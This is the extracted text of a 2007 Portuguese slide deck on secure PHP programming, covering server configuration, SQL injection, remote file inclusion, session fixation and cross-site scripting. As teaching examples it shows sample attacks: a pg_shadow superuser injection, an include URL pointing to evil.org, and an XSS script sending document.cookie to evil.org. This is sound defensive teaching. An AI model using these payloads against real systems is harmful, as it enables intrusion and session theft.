- O documento discute vários tópicos relacionados à segurança no desenvolvimento de aplicações PHP, incluindo segurança do sistema operacional, configuração do servidor web e PHP, processamento de formulários, interação com bancos de dados, inclusão de arquivos e sessões. O objetivo é fornecer diretrizes para que os desenvolvedores programem PHP de maneira segura.
1. PHP Summer School
PHP Summer School
Segurança
Nuno Loureiro <nuno@co.sapo.pt>
http://blog.sig9.net/
20/07/2007
Nuno Loureiro <nuno@co.sapo.pt> 20/07/2007
2. PHP Summer School
About me
• Licenciatura em Eng. Sistemas e Computação
• Começou a usar Linux em 1995
• Começou a programar PHP em 1999
• Organizou o 1º Simpósio de Linux em 1999 - Simplinux
• Sócio-fundador da ETH em 1999
• Autor do artigo “Programming PHP with Security in Mind” na Linux Journal 10/2002
• Juntou-se à equipa do SAPO em 2002
• Programador do Webmail do SAPO
• Gestor técnico da plataforma de email do SAPO
• Zend Certified Engineer em 2005
Segurança 2
3. PHP Summer School
Sumário
• Segurança do Sistema
• Sistema Operativo e Serviços
• Servidor de Web
• Código PHP
• Register Globals
• Processamento de Forms
• Interacção com Bases de Dados
• Chamar programas externos
• Incluir ficheiros
• Sessões
• Cross-Site Scripting
• Conclusão
Segurança 3
4. PHP Summer School
Segurança do Sistema
Sistema Operativo e Serviços
• Sistema Operativo
• Manter o S.O. sempre actualizado
• Instalar todos os patchs de segurança disponibilizados pelo vendedor
• Serviços
• Fechar todos os ports não necessários ou
• Desligar todos os serviços de rede não necessários
• Ferramentas para auditoria de segurança
• Ex: Nessus - http://www.nessus.org/
Segurança 4
5. PHP Summer School
Segurança do Sistema
Servidor de Web - Configuração
• Correr com um UID próprio (ex: nobody)
• Desligar opção/módulo para listar o conteúdo de directórios
• mod_autoindex
• Negar acesso a directórios não necessários
<LocationMatch quot;/(scripts|templates|lib|locale|config|docs)/quot;>
order deny,allow
deny from all
</LocationMatch>
• Negar acesso a ficheiros não necessários
<FilesMatch quot;.(inc)?~?$quot;>
order deny,allow
deny from all
</FilesMatch>
Segurança 5
6. PHP Summer School
Segurança do Sistema
Servidor de Web - Configuração
Falhas nestas configurações básicas podem ter consequências gravíssimas
Wrong! Right!
wget http://foobar.pt/horde/config/horde.php.bak
É de notar que o directório config nunca precisa de ser acedido via HTTP. Os ficheiros de
configuração são incluidos pelo PHP através do filesystem
Segurança 6
7. PHP Summer School
Segurança do Sistema
Servidor de Web - PHP
php.ini:
displays_errors = off
log_errors = on
error_log = /var/log/php.log
register_globals = off **
session.use_trans_sid = 0 **
open_basedir = /servers/www/foo.bar/
expose_php = off
Auditoria de Segurança da Instalação de PHP:
• PHPSecInfo - http://phpsec.org/projects/phpsecinfo/
** by default
Segurança 7
8. PHP Summer School
Código PHP
Agora que vamos começar a programar, convém termos umas noções básicas.
• Segurança é uma medida e não uma característica
• Segurança têm de ser balanceada com os custos
• Segurança têm de ser balanceada com usabilidade
• Um sistema completamente seguro é virtualmente impossível
• Usar bom senso para balancear estes conceitos!
• Saber os conceitos para programar PHP com segurança é
fácil, o difícil é nos habituarmos a usá-los!
Segurança 8
9. PHP Summer School
Código PHP
Primeira lição e regra básica para programar PHP com segurança:
Segurança 9
10. PHP Summer School
Código PHP
Primeira lição e regra básica para programar PHP com segurança:
NEVER TRUST USER INPUT!!
Segurança 9
12. PHP Summer School
Código PHP
Aprenderam? Permitam que me repita novamente:
NEVER TRUST USER INPUT!!
Segurança 10
13. PHP Summer School
Código PHP
Register Globals
• Desde a versão 4.2.0 que o register_globals está desligado por default.
• Foi das alterações de configuração mais polémicas da história do PHP.
• Todo o tipo de variáveis externas era introduzida no Global Scope.
• Com esta alteração todas as variáveis externas são disponibilizadas em
superglobal arrays: $_GET, $_POST, $_COOKIE, $_REQUEST, $_ENV,
$_FILES, $_SESSION, ...
Segurança 11
14. PHP Summer School
Código PHP
Register Globals
• Desde a versão 4.2.0 que o register_globals está desligado por default.
• Foi das alterações de configuração mais polémicas da história do PHP.
• Todo o tipo de variáveis externas era introduzida no Global Scope.
• Com esta alteração todas as variáveis externas são disponibilizadas em
superglobal arrays: $_GET, $_POST, $_COOKIE, $_REQUEST, $_ENV,
$_FILES, $_SESSION, ...
Wrong!
Segurança 11
15. PHP Summer School
Código PHP
Register Globals
• Desde a versão 4.2.0 que o register_globals está desligado por default.
• Foi das alterações de configuração mais polémicas da história do PHP.
• Todo o tipo de variáveis externas era introduzida no Global Scope.
• Com esta alteração todas as variáveis externas são disponibilizadas em
superglobal arrays: $_GET, $_POST, $_COOKIE, $_REQUEST, $_ENV,
$_FILES, $_SESSION, ...
Wrong! Right!
Segurança 11
17. PHP Summer School
Código PHP
Processamento de Forms
Spoofed Form Submission:
http://example.org/form.html:
<form action=quot;/process.phpquot; method=quot;POSTquot;>
<select name=quot;colorquot;>
<option value=quot;redquot;>red</option>
<option value=quot;greenquot;>green</option>
<option value=quot;bluequot;>blue</option>
</select>
<input type=quot;submitquot; />
Right!
</form>
Spoofed form:
<form
action=quot;http://example.org/process.phpquot;
method=quot;POSTquot;>
<input type=quot;textquot; name=quot;colorquot; />
<input type=quot;submitquot; />
</form>
Spoofed HTTP Request:
POST /process.php HTTP/1.1
Host: example.org
Este exemplo não parece perigoso...
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
color=red
Segurança 12
18. PHP Summer School
Código PHP
Processamento de Forms
Spoofed Form Submission:
http://example.org/fupload.php:
Spoofed form:
<form method=quot;postquot; name=quot;fileuploadquot;
action=quot;fupload.phpquot;>
<input type=quot;hiddenquot; name=quot;fnquot;
value=quot;/var/www/html/index.phpquot;>
<input type=quot;hiddenquot; name=quot;fn_typequot;
value=quot;textquot;>
<input type=quot;hiddenquot; name=quot;fn_sizequot;
value=quot;22quot;>
<input type=quot;submitquot; name=quot;upload_filequot;
value=quot;Uploadquot;>
Segurança 13
19. PHP Summer School
Código PHP
Processamento de Forms
Spoofed Form Submission:
http://example.org/fupload.php:
Right!
Spoofed form:
<form method=quot;postquot; name=quot;fileuploadquot;
action=quot;fupload.phpquot;>
<input type=quot;hiddenquot; name=quot;fnquot;
value=quot;/var/www/html/index.phpquot;>
<input type=quot;hiddenquot; name=quot;fn_typequot;
value=quot;textquot;>
<input type=quot;hiddenquot; name=quot;fn_sizequot;
... mas este já parece perigoso!
value=quot;22quot;>
<input type=quot;submitquot; name=quot;upload_filequot;
value=quot;Uploadquot;>
Segurança 13
20. PHP Summer School
Código PHP
Interacção com Bases de Dados
SQL Injection
Exemplo:
Ataque: Query executado:
http://example.com/edit.php?update_table_submit update users set password=aaa
=1&table=users+set+password%3Daaa where user=quot;adminquot; # set name=$name
+where+user%3D%27admin%27+%23
Boas práticas:
• Filtrem os dados. Se sabem o que esperam, filtrem!
• Se a base de dados permitir, coloquem pelicas à volta de todos os dados
independente do tipo de dados
• “Escape your data” - ex: mysql_real_escape_string(), addslashes()
Segurança 14
21. PHP Summer School
Código PHP
Interacção com Bases de Dados
SQL Injection
Outro Exemplo:
Query executado:
0;
insert into pg_shadow(usename,usesysid,usesuper,usecatupd,passwd)
select 'crack', usesysid, 't','t','crack'
from pg_shadow where usename='postgres';
--
Segurança 15
22. PHP Summer School
Código PHP
Interacção com Bases de Dados
SQL Injection
Outro Exemplo:
Query executado:
0;
insert into pg_shadow(usename,usesysid,usesuper,usecatupd,passwd)
select 'crack', usesysid, 't','t','crack'
from pg_shadow where usename='postgres';
--
Possível Solução:
Segurança 15
25. PHP Summer School
Código PHP
Incluir ficheiros
Incluir ficheiros locais... ou remotos se o allow_url_fopen() estiver activo
Exemplo:
Ataque:
http://example.com/leftframe.php?layout=http://evil.org/nasty.html
nasty.html:
Segurança 17
26. PHP Summer School
Código PHP
Incluir ficheiros
Incluir ficheiros locais... ou remotos se o allow_url_fopen() estiver activo
Exemplo:
Ataque:
http://example.com/leftframe.php?layout=http://evil.org/nasty.html
nasty.html:
Segurança 17
27. PHP Summer School
Código PHP
Incluir ficheiros
Incluir ficheiros locais... ou remotos se o allow_url_fopen() estiver activo
Exemplo:
Ataque:
http://example.com/leftframe.php?layout=http://evil.org/nasty.html
nasty.html:
Solução:
Segurança 17
28. PHP Summer School
Código PHP
Sessões
Session Fixation / Session Hijacking
Exemplo para compreensão: Atacante fornece URL:
http://example.com/index.php?PHPSESSID=12345
Vítima usa URL, faz login no site e
atacante faz hijacking da sessão
Segurança 18
29. PHP Summer School
Código PHP
Sessões
Session Fixation / Session Hijacking
Exemplo para compreensão: Atacante fornece URL:
http://example.com/index.php?PHPSESSID=12345
Vítima usa URL, faz login no site e
atacante faz hijacking da sessão
Solução:
Segurança 18
30. PHP Summer School
Código PHP
Cross Site Scripting
Exemplo: Ataque - email cujo subject é:
<script>
self.location.href=
quot;http://evil.org/cookie-grab.html?cookies=quot;
+escape(document.cookie)
</script>
Atacante pode ver nos logs do seu servidor
os cookies da vítima
Segurança 19
31. PHP Summer School
Código PHP
Cross Site Scripting
Exemplo: Ataque - email cujo subject é:
<script>
self.location.href=
quot;http://evil.org/cookie-grab.html?cookies=quot;
+escape(document.cookie)
</script>
Atacante pode ver nos logs do seu servidor
os cookies da vítima
Solução:
Segurança 19
35. PHP Summer School
Código PHP
Exercícios
Exercício II
• Fazer o security fix do seguinte script:
• De que tipo de vulnerabilidade sofre este script ?
Segurança 23
36. PHP Summer School
Código PHP
Exercícios
Solução para o Exercício II:
• O script pode sofrer um ataque de SQL Injection
Segurança 24
37. PHP Summer School
Código PHP
Exercícios
Exercício III
• Fazer o security fix do seguinte script:
• De que tipo de vulnerabilidade sofre este script ?
Segurança 25
38. PHP Summer School
Código PHP
Exercícios
Solução para o Exercício III:
O script pode sofrer um ataque de Cross Site Scripting
Segurança 26
39. PHP Summer School
PHP Summer School
FIM!
Obrigado, perguntas?
Nuno Loureiro <nuno@co.sapo.pt>
http://blog.sig9.net/
20/07/2007
Nuno Loureiro <nuno@co.sapo.pt> 20/07/2007